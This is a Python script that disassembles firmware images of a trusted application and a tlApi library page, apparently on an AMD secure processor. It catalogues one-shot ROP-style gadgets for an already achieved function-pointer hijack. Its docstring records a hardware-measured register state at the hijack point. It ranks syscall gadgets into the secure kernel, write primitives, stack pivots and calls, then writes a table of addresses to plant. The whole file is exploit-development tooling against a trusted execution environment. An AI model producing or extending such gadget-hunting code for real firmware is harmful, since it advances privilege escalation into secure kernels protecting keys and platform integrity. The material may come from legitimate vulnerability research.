1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
|
#!/usr/bin/env python3
"""Catalogue of ONE-SHOT gadgets for the GCP fn-ptr hijack.
Single-shot arbitrary PC is the proven primitive (7 values carved + oracle-verified + executed on
silicon). Chaining is blocked (Add.113/116/118), so the useful question is not "what pops pc" but
"what does one instruction sequence ACHIEVE from the measured entry state".
Entry state at the hijacked `bx ip` (Add.95, measured on hardware):
r0 = sp = 0x41bf70 r1 = r2 = r3 = 0 r4 = 0x41d030 (ctx) r5 = 0x41bf70
r6..r11 = 0 ip = the planted value lr = 0x00405617 sp = 0x41bf70
cpsr: N=0 Z=1 C=1 V=0, USR mode, ITSTATE=0
Condition codes that EXECUTE under those flags: al eq cs/hs pl vc ls ge le
Condition codes that are SKIPPED: ne cc/lo mi vs hi lt gt
Classes emitted, in descending order of interest for a single shot:
SVC -- a syscall into sOS with semi-controlled arguments: the only class that crosses the
TA/kernel boundary, so the highest-value one-shot target
STORE -- a write primitive with a computed target and value, often reaching further than our
existing primitives (imm12 off r4 covers ctx+0..0xfff)
LOAD_SP -- sets SP from memory (stack pivot), listed for completeness
CALL -- enters a real function with r0 = &requestBlock and r4 = ctx
"""
import glob, struct, sys, collections
from capstone import *
from capstone.arm import ARM_OP_MEM, ARM_OP_REG
ENTRY = {"r0":0x41bf70,"r1":0,"r2":0,"r3":0,"r4":0x41d030,"r5":0x41bf70,"r6":0,"r7":0,
"r8":0,"r9":0,"sb":0,"r10":0,"sl":0,"r11":0,"fp":0,"sp":0x41bf70,"lr":0x00405617}
EXEC_CC = {"","al","eq","cs","hs","pl","vc","ls","ge","le"}
CCS = ("eq","ne","cs","hs","cc","lo","mi","pl","vs","vc","hi","ls","ge","lt","gt","le")
def cc_of(m):
for c in CCS:
if m.endswith(c) and len(m) > len(c): return c
return ""
def regions():
g = glob.glob('psp_out/versions_win/ta_22-0-0-77_*.bin')[0]
out = [(open(g,'rb').read(), 0x400100, "gcp")]
lib = 'fw/gadgets/tlapi_lib_0xf00000.bin'
try: out.append((open(lib,'rb').read(), 0xf00000, "tlapi"))
except Exception: pass
return out
def whereis(a):
for lo,hi,n in ((0x400000,0x407000,"code R-X"),(0x407000,0x417000,".bss RW XN"),
(0x418000,0x41c000,"stack RW XN"),(0x41d000,0x421000,"heap RW XN"),
(0x422000,0x423000,"procpage RW XN"),(0xf00000,0xf01000,"tlapi R-X")):
if lo <= a < hi: return n
return "UNMAPPED"
res = collections.defaultdict(list)
for blob, base, tag in regions():
for mode, step, md in ((CS_MODE_THUMB,2,Cs(CS_ARCH_ARM,CS_MODE_THUMB)),
(CS_MODE_ARM,4,Cs(CS_ARCH_ARM,CS_MODE_ARM))):
md.detail = True
mname = "T" if mode == CS_MODE_THUMB else "A"
hi_exec = 0x407000 if tag == "gcp" else 0xf01000
for off in range(0, len(blob)-8, step):
va = base + off
if va >= hi_exec: break # beyond R-X: .data/.bss, never executable
try: ins = list(md.disasm(blob[off:off+12], va, count=2))
except Exception: continue
if not ins: continue
i = ins[0]
if cc_of(i.mnemonic) not in EXEC_CC: continue
plant = va | (1 if mode == CS_MODE_THUMB else 0)
txt = "%s %s" % (i.mnemonic, i.op_str)
nxt = ("%s %s" % (ins[1].mnemonic, ins[1].op_str)) if len(ins) > 1 else ""
if i.mnemonic.startswith("svc"):
res["SVC"].append((plant, mname, tag, txt, nxt, i.op_str))
continue
ops = i.operands
if i.mnemonic.startswith(("str","stm")) and len(ops) >= 2:
m = [o for o in ops if o.type == ARM_OP_MEM]
if m:
mm = m[0].mem
bn = i.reg_name(mm.base) if mm.base else None
if bn in ENTRY and mm.index == 0:
tgt = (ENTRY[bn] + mm.disp) & 0xFFFFFFFF
srcs = [i.reg_name(o.reg) for o in ops if o.type == ARM_OP_REG]
sv = ENTRY.get(srcs[0]) if srcs and srcs[0] in ENTRY else None
res["STORE"].append((plant, mname, tag, txt, nxt, bn, tgt,
srcs[0] if srcs else "?", sv))
continue
if i.op_str.split(",")[0].strip() == "sp" and "[" in i.op_str:
res["LOAD_SP"].append((plant, mname, tag, txt, nxt, ""))
continue
if i.mnemonic.startswith(("bl","blx")) and i.op_str.startswith("#"):
try: t = int(i.op_str.lstrip("#"), 0)
except Exception: continue
res["CALL"].append((plant, mname, tag, txt, nxt, t))
print("one-shot gadget catalogue, GCP 22.0.0.77 + tlApi page")
for k in ("SVC","STORE","LOAD_SP","CALL"):
print(" %-8s %d" % (k, len(res[k])))
import json
with open('fw/gadgets/ONESHOT-GADGETS.md','w') as f:
f.write(__doc__ + "\n\n")
f.write("## SVC gadgets -- the only class that crosses into sOS (%d)\n\n" % len(res["SVC"]))
f.write("plant this value | mode | insn | next insn\n---|---|---|---\n")
seen = set()
for plant,mn,tag,txt,nxt,imm in sorted(res["SVC"]):
if (txt,nxt) in seen and len(seen) > 400: continue
seen.add((txt,nxt))
f.write("`%#010x` | %s %s | `%s` | `%s`\n" % (plant,mn,tag,txt,nxt))
f.write("\n## STORE gadgets with a COMPUTED target (%d)\n\n" % len(res["STORE"]))
f.write("plant | mode | insn | writes | to | region\n---|---|---|---|---|---\n")
for plant,mn,tag,txt,nxt,bn,tgt,src,sv in sorted(res["STORE"]):
f.write("`%#010x` | %s %s | `%s` | %s | `%#010x` | %s\n" %
(plant,mn,tag,txt, ("%#010x"%sv) if sv is not None else src, tgt, whereis(tgt)))
f.write("\n## LOAD_SP (stack pivots) (%d)\n\n" % len(res["LOAD_SP"]))
for plant,mn,tag,txt,nxt,_ in sorted(res["LOAD_SP"]):
f.write("- `%#010x` %s %s `%s` ; `%s`\n" % (plant,mn,tag,txt,nxt))
print("\nwrote fw/gadgets/ONESHOT-GADGETS.md")
|